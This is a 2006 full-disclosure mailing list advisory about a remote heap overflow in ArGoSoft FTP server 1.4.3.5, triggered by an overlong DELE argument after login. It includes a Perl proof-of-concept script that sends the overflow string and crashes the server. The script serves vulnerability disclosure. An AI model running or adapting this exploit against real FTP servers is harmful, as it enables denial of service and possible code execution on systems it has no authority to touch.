full-disclosure - ArGoSoft FTP server remote heap overflow

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Message-ID: <440038C1.8050706@free.fr>
Date: Sat Feb 25 15:12:18 2006
From: jerome.athias at free.fr (Jerome Athias)
Subject: ArGoSoft FTP server remote heap overflow

-- Title:
ArGoSoft FTP server remote heap overflow

-- Affected Products:
ArGoSoft FTP server 1.4.3.5 (current) and prior

-- Affected Vendor:
ArGoSoft - http://www.argosoft.com

-- Impact:
DoS, Arbitrary Code Execution

-- Where:
>From remote

-- Type:
Heap Overflow

-- Vulnerability Details:
A remote attacker with valid credentials is able to trigger a heap
overwrite in ArgoSoft FTP server.
The bug occurs by providing a long argument to the DELE command. This
vulnerability can allow remote attackers to execute arbitrary code or
launch a denial of service attack.

-- Credit:
This vulnerability was discovered by Jerome Athias.
https://www.securinfos.info/english/




#!/usr/bin/perl

# ---------------------------------------------------- #
# ArgoSoftFTP.pl - PoC exploit for ArgoSoft FTP Server #
# Jerome Athias                           #
# ---------------------------------------------------- #

use Net::FTP;

# geting data
$host = @ARGV[0];
$port = @ARGV[1];
$debug = @ARGV[2];
$user = @ARGV[3];
$pass = @ARGV[4];

# ===========

if (($host) && ($port)) {
       
# make exploit string
$exploit_string = "DELE ";
$exploit_string .= "A" x 2041;
$exploit_string .= "B" x 4;
$exploit_string .= "C" x 1026;

#    On Win2K SP4 FR:
#    EAX 42424241
#    ECX 43434343
#    EDX 43434342
#    EBX 43434B73

        # ===================
       
        print "Trying to connect to $host:$port\n";
        $sock = Net::FTP->new("$host",Port => $port, TimeOut => 30,
Debug=> $debug) or die "[-] Connection failed\n";
        print "[+] Connect OK!\n";
        print "Logging...\n";
        if (!$user) {
             $user = "test";
             $pass = "test";
        }
        $sock->login($user, $pass);
        $answer = $sock->message;
        print "Sending string...\n";
        $sock->quot($exploit_string);
} else {
        print "ArgoSoft FTP Server - PoC
Exploit\nhttps://www.securinfos.info\n\nUsing: $0 host port username
password [debug: 1 or 0]\n\n";
}